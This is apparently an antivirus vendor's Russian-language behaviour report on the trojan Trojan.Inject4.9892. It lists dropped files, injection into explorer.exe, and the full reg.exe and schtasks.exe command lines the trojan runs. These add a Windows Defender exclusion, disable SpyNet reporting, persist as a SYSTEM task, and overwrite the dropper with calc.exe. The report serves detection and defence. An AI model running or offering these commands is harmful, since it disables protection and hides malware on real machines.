Trojan.Inject4.9892

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\nqzkkmgrx

Вредоносные функции

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\explorer.exe

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\microsoft\ezikslyb\ejshtvu.dat
%APPDATA%\microsoft\ezikslyb\ejshtvu.exe

Удаляет следующие файлы

<SYSTEM32>\tasks\nqzkkmgrx

Другое

Создает и запускает на исполнение

'%APPDATA%\microsoft\ezikslyb\ejshtvu.exe'
'%APPDATA%\microsoft\ezikslyb\ejshtvu.exe' /C
'<Полный путь к файлу>' /C' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /t REG_DWORD /v "%APPDATA%\Microsoft\Ezikslyb" /d "0"' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c ping.exe -n 6 127.0.0.1 & type "<SYSTEM32>\calc.exe" > "<Полный путь к файлу>"' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"' (со скрытым окном)
'<Полный путь к файлу>' /I nqzkkmgrx' (со скрытым окном)
'%APPDATA%\microsoft\ezikslyb\ejshtvu.exe' /C' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /Create /RU "NT AUTHORITY\SYSTEM" /tn nqzkkmgrx /tr "\"<Полный путь к файлу>\" /I nqzkkmgrx" /SC ONCE /Z /ST 00:17 /ET 00:29' (со скрытым окном)
'%APPDATA%\microsoft\ezikslyb\ejshtvu.exe' ' (со скрытым окном)
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"' (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /DELETE /F /TN nqzkkmgrx' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\schtasks.exe' /Create /RU "NT AUTHORITY\SYSTEM" /tn nqzkkmgrx /tr "\"<Полный путь к файлу>\" /I nqzkkmgrx" /SC ONCE /Z /ST 00:17 /ET 00:29
'%WINDIR%\syswow64\explorer.exe'
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /t REG_DWORD /v "%APPDATA%\Microsoft\Ezikslyb" /d "0"
'<SYSTEM32>\cmd.exe' /c ping.exe -n 6 127.0.0.1 & type "<SYSTEM32>\calc.exe" > "<Полный путь к файлу>"
'<SYSTEM32>\schtasks.exe' /DELETE /F /TN nqzkkmgrx
'<SYSTEM32>\ping.exe' -n 6 127.0.0.1